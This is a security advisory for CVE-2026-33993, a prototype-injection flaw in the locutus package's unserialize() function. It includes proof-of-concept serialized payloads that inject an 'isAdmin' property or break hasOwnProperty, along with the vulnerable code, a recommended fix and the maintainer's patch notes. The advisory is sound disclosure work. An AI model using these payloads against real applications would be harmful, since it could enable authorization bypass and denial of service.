CVE-2026-33993

Description

## Summary The `unserialize()` function in `locutus/php/var/unserialize` assigns deserialized keys to plain objects via bracket notation without filtering the `__proto__` key. When a PHP serialized payload contains `__proto__` as an array or object key, JavaScript's `__proto__` setter is invoked, replacing the deserialized object's prototype with attacker-controlled content. This enables property injection, for...in propagation of injected properties, and denial of service via built-in method override. This is distinct from the previously reported prototype pollution in `parse_str` (GHSA-f98m-q3hr-p5wq, GHSA-rxrv-835q-v5mh) - `unserialize` is a different function with no mitigation applied. ## Details The vulnerable code is in two functions within `src/php/var/unserialize.ts`: **`expectArrayItems()` at line 358:** ```typescript // src/php/var/unserialize.ts:329-366 function expectArrayItems( str: string, expectedItems = 0, cache: CacheFn, ): [UnserializedObject | UnserializedValue[], number] { // ... const items: UnserializedObject = {} // ... for (let i = 0; i < expectedItems; i++) { key = expectKeyOrIndex(str) // ... item = expectType(str, cache) // ... items[String(key[0])] = item[0] // line 358 - no __proto__ filtering } // ... } ``` **`expectObject()` at line 278:** ```typescript // src/php/var/unserialize.ts:246-287 function expectObject(str: string, cache: CacheFn): ParsedResult { // ... const obj: UnserializedObject = {} // ... for (let i = 0; i < propCount; i++) { // ... obj[String(prop[0])] = value[0] // line 278 - no __proto__ filtering } // ... } ``` Both functions create a plain object (`{}`) and assign user-controlled keys via bracket notation. When the key is `__proto__`, JavaScript's `__proto__` setter replaces the object's prototype rather than creating a regular property. This means: 1. Properties in the attacker-supplied prototype become accessible via dot notation and the `in` operator 2. These properties are invisible to `Object.keys()`, `JSON.stringify()`, and `hasOwnProperty()` 3. They propagate to copies made via `for...in` loops, becoming real own properties 4. The attacker can override `hasOwnProperty`, `toString`, `valueOf` with non-function values Notably, `parse_str` in the same package has a regex guard against `__proto__` (line 74 of `src/php/strings/parse_str.ts`), but no equivalent protection was applied to `unserialize`. This is **not** global `Object.prototype` pollution - only the deserialized object's prototype is replaced. Other objects in the application are not affected. ## PoC **Setup:** ```bash npm install [email protected] ``` **Step 1 - Property injection via array deserialization:** ```js import { unserialize } from 'locutus/php/var/unserialize'; const payload = 'a:2:{s:9:"__proto__";a:1:{s:7:"isAdmin";b:1;}s:4:"name";s:3:"bob";}'; const config = unserialize(payload); console.log(config.isAdmin); // true (injected via prototype) console.log(Object.keys(config)); // ['name'] - isAdmin is hidden console.log('isAdmin' in config); // true - bypasses 'in' checks console.log(config.hasOwnProperty('isAdmin')); // false - invisible to hasOwnProperty ``` **Verified output:** ``` true [ 'name' ] true false ``` **Step 2 - for...in propagation makes injected properties real:** ```js const copy = {}; for (const k in config) copy[k] = config[k]; console.log(copy.isAdmin); // true (now an own property) console.log(copy.hasOwnProperty('isAdmin')); // true ``` **Verified output:** ``` true true ``` **Step 3 - Method override denial of service:** ```js const payload2 = 'a:1:{s:9:"__proto__";a:1:{s:14:"hasOwnProperty";b:1;}}'; const obj = unserialize(payload2); obj.hasOwnProperty('x'); // TypeError: obj.hasOwnProperty is not a function ``` **Verified output:** ``` TypeError: obj.hasOwnProperty is not a function ``` **Step 4 - Object type (stdClass) is also vulnerable:** ```js const payload3 = 'O:8:"stdClass":2:{s:9:"__proto__";a:1:{s:7:"isAdmin";b:1;}s:4:"name";s:3:"bob";}'; const obj2 = unserialize(payload3); console.log(obj2.isAdmin); // true console.log('isAdmin' in obj2); // true ``` **Step 5 - Confirm NOT global pollution:** ```js console.log(({}).isAdmin); // undefined - global Object.prototype is clean ``` ## Impact - **Property injection**: Attacker-controlled properties become accessible on the deserialized object via dot notation and the `in` operator while being invisible to `Object.keys()` and `hasOwnProperty()`. Applications that use `if (config.isAdmin)` or `if ('role' in config)` patterns on deserialized data are vulnerable to authorization bypass. - **Property propagation**: When consuming code copies the object using `for...in` (a common JavaScript pattern for object spreading or cloning), injected prototype properties materialize as real own properties, surviving all subsequent `hasOwnProperty` checks. - **Denial of service**: The injected prototype can override `hasOwnProperty`, `toString`, `valueOf`, and other `Object.prototype` methods with non-function values, causing `TypeError` when these methods are called on the deserialized object. The primary use case for locutus `unserialize` is deserializing PHP-serialized data in JavaScript applications, often from external or untrusted sources. This makes the attack surface realistic. ## Recommended Fix Filter dangerous keys before assignment in both `expectArrayItems` and `expectObject`. Use `Object.defineProperty` to create a data property without triggering the `__proto__` setter: ```typescript const DANGEROUS_KEYS = new Set(['__proto__', 'constructor', 'prototype']); // In expectArrayItems (line 358) and expectObject (line 278): const keyStr = String(key[0]); // or String(prop[0]) in expectObject if (DANGEROUS_KEYS.has(keyStr)) { Object.defineProperty(items, keyStr, { value: item[0], writable: true, enumerable: true, configurable: true, }); } else { items[keyStr] = item[0]; } ``` Alternatively, create objects with a null prototype to prevent `__proto__` setter invocation entirely: ```typescript // Replace: const items: UnserializedObject = {} // With: const items = Object.create(null) as UnserializedObject; ``` The `Object.create(null)` approach is more robust as it prevents the `__proto__` setter from ever being triggered, regardless of key value. ## Maintainer Reponse Thank you for the report. This issue was reproduced locally against `[email protected]`, confirming that `unserialize()` was vulnerable to `__proto__`-driven prototype injection on the returned object. This is now fixed on `main` and released in `[email protected]`. ## Fix Shipped In - **PR:** [#597](https://github.com/locutusjs/locutus/pull/597) - **Merge commit on `main`:** `345a6211e1e6f939f96a7090bfeff642c9fcf9e4` - **Release:** [v3.0.25](https://github.com/locutusjs/locutus/releases/tag/v3.0.25) ## What the Fix Does The fix hardens `src/php/var/unserialize.ts` by treating `__proto__`, `constructor`, and `prototype` as dangerous keys and defining them as plain own properties instead of assigning through normal bracket notation. This preserves the key in the returned value without invoking JavaScript's prototype setter semantics. ## Tested Repro Before the Fix - Attacker-controlled serialized `__proto__` key produced inherited properties on the returned object - `Object.keys()` hid the injected key while `'key' in obj` stayed true - Built-in methods like `hasOwnProperty` could be disrupted ## Tested State After the Fix in `3.0.25` - Dangerous keys are kept as own enumerable properties - The returned object's prototype is not replaced - The regression is covered by `test/custom/unserialize-prototype-pollution.vitest.ts` --- The locutus team is treating this as a real package vulnerability with patched version `3.0.25`.

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